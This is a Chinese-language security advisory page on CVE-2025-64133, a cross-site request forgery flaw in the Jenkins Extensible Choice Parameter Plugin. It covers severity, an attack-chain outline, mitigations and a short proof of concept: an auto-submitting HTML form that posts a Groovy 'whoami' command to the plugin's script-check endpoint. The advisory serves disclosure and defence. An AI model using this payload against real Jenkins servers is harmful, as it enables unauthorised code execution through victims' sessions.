IPBUF安全漏洞报告
English
CVE-2025-64133 CVSS 5.4 中危

CVE-2025-64133 Jenkins Extensible Choice Parameter Plugin CSRF漏洞可执行沙箱Groovy代码

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-64133
漏洞类型
CSRF (跨站请求伪造)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Jenkins Extensible Choice Parameter Plugin

相关标签

CSRF跨站请求伪造JenkinsGroovy沙箱绕过Extensible Choice Parameter PluginCVE-2025-64133CI/CD安全插件漏洞

漏洞概述

CVE-2025-64133是Jenkins Extensible Choice Parameter Plugin中的一个跨站请求伪造(CSRF)漏洞。该插件版本239.v5f5c278708cf及之前版本存在此安全缺陷。攻击者可以通过诱导 Jenkins 用户访问恶意页面,利用 CSRF 漏洞在用户已认证的 Jenkins 会话中执行沙箱化的 Groovy 代码。虽然代码执行受到 Jenkins Groovy 沙箱的安全限制,但攻击者仍可在受害者权限范围内进行未授权操作,可能导致敏感信息泄露、构建流程篡改或其他恶意行为。该漏洞无需认证即可发起攻击,但需要用户交互才能完成攻击链。CVSS 3.1 评分为 5.4,属于中等严重程度。

技术细节

该漏洞源于 Jenkins Extensible Choice Parameter Plugin 在处理用户请求时缺乏有效的 CSRF 令牌验证机制。攻击者可以构造一个恶意网页,其中包含自动提交的表单或 AJAX 请求,伪装成合法用户向 Jenkins 服务器发送请求。由于 Jenkins 在处理请求时未验证请求来源的合法性,攻击者可以在用户不知情的情况下以用户的身份执行插件提供的 Groovy 脚本执行功能。Jenkins 的 Groovy 沙箱会对代码执行进行安全限制,但攻击者仍可在用户权限范围内执行受限的 Groovy 代码,实现信息收集、凭证访问或构建流程操纵等恶意目的。攻击成功的关键在于用户必须保持已登录 Jenkins 的会话状态,并且访问攻击者控制的恶意页面。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标 Jenkins 环境及其安装的 Extensible Choice Parameter Plugin 版本,确认版本号 <= 239.v5f5c278708cf
STEP 2
步骤2: 构造恶意页面
攻击者创建一个包含自动提交表单的恶意 HTML 页面,表单指向 Jenkins 的 Groovy 脚本执行端点,载荷为恶意 Groovy 代码
STEP 3
步骤3: 社会工程学攻击
攻击者通过钓鱼邮件、即时通讯或其他渠道诱导已登录 Jenkins 的用户访问恶意页面
STEP 4
步骤4: CSRF 请求触发
用户浏览器加载恶意页面后,自动向 Jenkins 服务器发送已认证的 POST 请求,利用用户会话执行沙箱化 Groovy 代码
STEP 5
步骤5: 权限范围内操作
恶意 Groovy 代码在 Jenkins 沙箱限制下执行,攻击者可在用户权限范围内进行信息收集、配置修改或构建操纵

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64133 CSRF PoC for Jenkins Extensible Choice Parameter Plugin // This PoC demonstrates how an attacker can trick a Jenkins user into executing // sandboxed Groovy code through a CSRF attack. // Malicious HTML page that the attacker would host const pocHtml = ` <!DOCTYPE html> <html> <head> <title>Jenkins CSRF Exploit - CVE-2025-64133</title> </head> <body> <h1>Loading...</h1> <form id="exploit" action="http://TARGET-JENKINS/descriptorByName/org.jenkinsci.plugins.extensiblechoiceparameter.ParameterDescriber/checkScript" method="POST"> <input type="hidden" name="script" value="println 'whoami'.execute().text"> <input type="hidden" name="" value=""> </form> <script> document.getElementById('exploit').submit(); </script> </body> </html> `; // Attack flow: // 1. Attacker creates a malicious page containing auto-submit form // 2. Attacker tricks Jenkins user into visiting the page // 3. Browser automatically sends authenticated request to Jenkins // 4. Jenkins executes the Groovy script in sandbox context // 5. Results may be reflected back to attacker via various channels

影响范围

Jenkins Extensible Choice Parameter Plugin <= 239.v5f5c278708cf

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 在 Jenkins 全局安全配置中确保 CSRF 防护已启用;2) 提醒用户不要点击来自不可信来源的链接;3) 使用 CSP(内容安全策略)头限制外部页面加载;4) 考虑临时禁用 Extensible Choice Parameter Plugin 的 Groovy 脚本功能(如果业务允许);5) 在网络层实施访问控制,限制对 Jenkins 管理接口的访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表